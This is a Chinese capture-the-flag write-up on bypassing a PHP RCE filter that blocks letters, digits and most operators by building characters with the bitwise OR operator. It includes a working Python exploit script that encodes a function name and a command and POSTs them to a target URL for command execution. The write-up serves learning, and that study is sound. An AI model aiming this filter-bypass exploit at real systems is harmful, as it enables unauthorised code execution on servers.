这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时甚至过滤了字母和数字。

但是特意留了个或运算符|。

由此我们可以尝试从ascii为0-255的字符中,找到用或运算能得到我们可用的字符。

羽师傅给了两个脚本(详见篇末的博客链接):

这个脚本用于生成可用字符的集合

跑完之后我们得到:

其中使用的都是十六进制

比如A,十六进制的四十是64 ,64+1等于65,正是A的ascll码

另外PHP大小写都合法,或运算能得到ascll码之后,我们可以上手拼命令了(

问题来了,虽然拼出来了,但是是不能执行的。

可以看到里面是有换行符(%0d %0c),会影响命令的执行。

这时候我们看看羽师傅的第二个脚本:

大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符

传递参数get flag

# -*- coding: utf-8 -*-

import requests

import urllib

from sys import *

import os

os.system("php rce_or.php") #没有将php写入环境变量需手动运行

if(len(argv)!=2):

  print("="*50)

  print('USER:python exp.py <url>')

  print("eg: python exp.py http://ctf.show/")

  print("="*50)

  exit(0)

url=argv[1]

def action(arg):

  s1=""

  s2=""

  for i in arg:

    f=open("rce_or.txt","r")

    while True:

      t=f.readline()

      if t=="":

        break

      if t[0]==i:

        \#print(i)

        s1+=t[2:5]

        s2+=t[6:9]

        break

    f.close()

  output="(\""+s1+"\"|\""+s2+"\")"

  return(output)

while True:

  param=action(input("\n[+] your function:") )+action(input("[+] your command:"))

  data={

   'c':urllib.parse.unquote(param)

    }

  r=requests.post(url,data=data)

  print("\n[*] result:\n"+r.text)

本题考点是如何用异或构造任意的字符。

https://blog.csdn.net/miuzzx/article/details/108569080

最新文章

  1. block传值和代理传值的异同点
  2. JSP中文乱码问题
  3. Python之路【目录】 2
  4. Ubuntu中给eclipse和android studio添加桌面快捷图标
  5. VB6 GDI+ 入门教程[7] Graphics 其他内容
  6. 5步解决移动设备上的300ms点击延迟
  7. 教程-DelphiXE7如何调用Java Class,JAR等文件?
  8. 转:zookeeper3.4.5安装笔记
  9. 常见的DoDataExchange什么意思
  10. 【NET】Winform用户控件的初步封装之编辑控件
  11. Guava - Ordering
  12. word embeddding和keras中的embedding
  13. eclipse——JDK安装与环境变量配置步骤
  14. 理解maven中SNAPSHOT版本的作用
  15. python 基本数据类型 之 字符串
  16. centos7 hbase 搭建笔记
  17. View的工作原理(一) 总览View的工作流程
  18. Ubuntu升级到18.04
  19. C++ 结构体和枚举
  20. object-oriented first work

热门文章

  1. Java面向对象之什么是多态?
  2. 使用vue+iview创建自己的对话框组件
  3. window下快速启动mysql,bat脚本
  4. Minio客户端工具mc
  5. (app笔记)Memory Fill内存填充
  6. ssgvip设置
  7. (已解决)富文本编辑器:使用layui的layedit怎么回显存放在数据库里的富文本数据(包含有图片base64码)?
  8. bootstrap table表格按钮
  9. @dynamicMemberLookup(动态成员查找)
  10. Swift中使用KVO